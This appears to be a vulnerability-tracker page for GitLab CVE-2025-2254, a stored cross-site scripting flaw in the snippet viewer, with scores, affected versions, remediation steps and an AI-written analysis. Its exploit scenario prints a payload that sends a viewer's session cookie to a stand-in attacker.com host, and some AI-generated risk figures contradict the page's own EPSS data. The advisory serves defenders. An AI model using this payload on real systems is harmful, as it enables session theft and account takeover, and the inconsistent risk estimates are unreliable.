Skip to main content

Gitlab CVE-2025-2254

| EUVDEUVD-2025-18168 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-12 cve@gitlab.com
8.7
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS score of 8.7 is high, real-world risk is elevated by several mitigating and aggravating factors: (1) CVSS vector shows AV:N (network-accessible) and AC:L (low complexity), but PR:L (requires login) and UI:R (requires user interaction) reduce exploitability compared to unauthenticated vulnerabilities; (2) scope is changed (S:C), meaning impact extends beyond the vulnerable component to other systems/sessions; (3) without official EPSS data provided, similar XSS vulnerabilities in popular platforms typically score 0.60-0.80 exploitation probability; (4) KEV/active exploitation status is not indicated but should be assumed possible given public disclosure and ease of XSS exploitation; (5) proof-of-concept development is trivial for XSS (inject <script>alert('xss')</script> into snippet content). Real-world priority: HIGH for organizations running affected versions with snippet features exposed to authenticated users. Organizations with snippet access restricted to trusted internal teams face lower risk; public GitLab instances or those with external user bases face critical risk.

Exploit ScenarioDerived

An attacker with GitLab account access creates or modifies a snippet containing JavaScript payload: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. Victim user clicks link to view the snippet in the GitLab UI. The snippet viewer renders the payload without encoding the HTML entities or stripping the event handler. The onerror event fires, executing the attacker's JavaScript. The script exfiltrates the victim's session cookie to an attacker-controlled server. Attacker uses stolen session token to impersonate the victim, access private repositories, or perform administrative actions. Alternatively, the payload could modify the page to display a credential harvesting form or redirect the user to a phishing site. Attack complexity is low because the attacker only needs valid GitLab account (satisfied in open-source projects or instances with registration enabled) and the victim simply needs to view a snippet—a common action in code review workflows.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Cross-Site Scripting (XSS) vulnerability in GitLab's snippet viewer functionality caused by improper output encoding, affecting versions 17.9-17.10.7, 17.11-17.11.3, and 18.0-18.0.1. An authenticated attacker with UI interaction from a victim can execute arbitrary JavaScript in the context of the victim's browser session, potentially stealing session tokens, performing unauthorized actions, or stealing sensitive data. The CVSS score of 8.7 (High) reflects network accessibility and significant impact on confidentiality and integrity, though exploitation requires user interaction and authenticated access.

RemediationAI

Immediate: Upgrade GitLab to patched versions—17.10.8 or later (17.10.x branch), 17.11.4 or later (17.11.x branch), or 18.0.2 or later (18.0.x branch). Interim mitigation (if immediate patching impossible): (1) Restrict snippet viewer access via role-based access control (RBAC) to trusted users only; (2) Disable snippet feature entirely if not required (Project Settings > Features > Snippets); (3) Monitor browser console/network logs for suspicious JavaScript execution; (4) Implement Content Security Policy (CSP) headers with script-src 'self' to restrict inline script execution (note: may break legitimate functionality); (5) Audit existing snippets for suspicious payloads. Reference vendor advisory from GitLab Security Releases page and apply patches during maintenance window. Test patches in staging environment before production deployment.

Affected VersionsENISA

GitLab 17.9 <17.10.8
GitLab 17.11 <17.11.4
GitLab 18.0 <18.0.2

Affected Packages

euvd gitlab fix: 17.10.8, 17.11.4, 18.0.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in GitLab's snippet viewer component, which fails to properly encode user-controlled output before rendering it in HTML context. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) flaw where dynamic content from snippets is inserted into the DOM without sanitization or escaping. Snippets are code/text storage features in GitLab that support multiple syntax highlighting and display modes. The lack of output encoding allows malicious JavaScript payloads embedded in snippet content to execute with the privileges of the viewing user. The affected versions span GitLab Community Edition (CE) and Enterprise Edition (EE) across three major release branches, indicating this is a systemic issue in the rendering pipeline rather than isolated to a single component version.

Know when Gitlab gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Ubuntu MEDIUM

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Jun 12, 2025 - 10:16 nvd
HIGH 8.7

DescriptionCVE.org

An issue has been discovered in GitLab CE/EE affecting all versions from 17.9 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. Improper output encoding in the snipper viewer functionality lead to Cross-Site scripting attacks.

Executive ViewAI

Why It Matters

GitLab instances running versions 17.9 through 18.0.2 are vulnerable to cross-site scripting (XSS) attacks through the snippet viewer feature, potentially allowing attackers to steal user sessions, credentials, or perform unauthorized actions on behalf of authenticated users. This vulnerability poses an immediate risk to any organization using affected GitLab versions, particularly those hosting sensitive code repositories or using GitLab for critical development workflows.

Business Impact: High
Compensating Controls

Disable or restrict access to the snippet viewer feature if not critical to operations. Deploy WAF rules to sanitize and block XSS payloads in snippet content. Implement network-level access controls to limit snippet viewer exposure to trusted users only. Monitor GitLab logs for suspicious snippet creation or access patterns. Require multi-factor authentication for all GitLab users to reduce session hijacking risk. Once patches are released and tested, apply vendor patch immediately.

Threat Intelligence Overview

EPSS Score
0.1%
Top 72% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Gitlab

View all
CVE-2021-22205 CRITICAL POC
10.0 Apr 23

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. Rated critical severity (CVSS 10

CVE-2023-7028 CRITICAL POC
10.0 Jan 12

An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.

CVE-2021-22175 CRITICAL POC
9.8 Jun 11

When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab af

CVE-2026-85706 CRITICAL POC
10.0 Sep 12

Unauthenticated arbitrary file read in GitLab CE/EE lets remote attackers retrieve files from the GitLab server via the

CVE-2026-97229 CRITICAL POC
10.0 Oct 13

Remote code execution in GitLab CE/EE (all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2)

CVE-2013-4490 MEDIUM POC
6.5 May 13

The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x

CVE-2022-2992 CRITICAL POC
9.9 Oct 17

A vulnerability in GitLab CE/EE affecting all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 allows

CVE-2024-45409 CRITICAL POC
9.8 Sep 10

The Ruby SAML library is for implementing the client side of a SAML authorization. Rated critical severity (CVSS 9.8), t

CVE-2026-110264 CRITICAL POC
10.0 Oct 22

Remote code execution in GitLab CE/EE can be triggered by a specially crafted regular expression processed through a vul

CVE-2026-87719 CRITICAL POC
9.9 Sep 12

Sensitive credential and configuration disclosure in GitLab Enterprise Edition allows an authenticated user with Duo Cha

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

Vendor StatusVendor

Ubuntu

Priority: Medium
gitlab
Release Status Version
xenial ignored -
jammy DNE -
noble DNE -
oracular DNE -
plucky DNE -
upstream needs-triage -

Debian

gitlab
Release Status Fixed Version Urgency
sid fixed 17.6.5-19 -
(unstable) not-affected - -

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy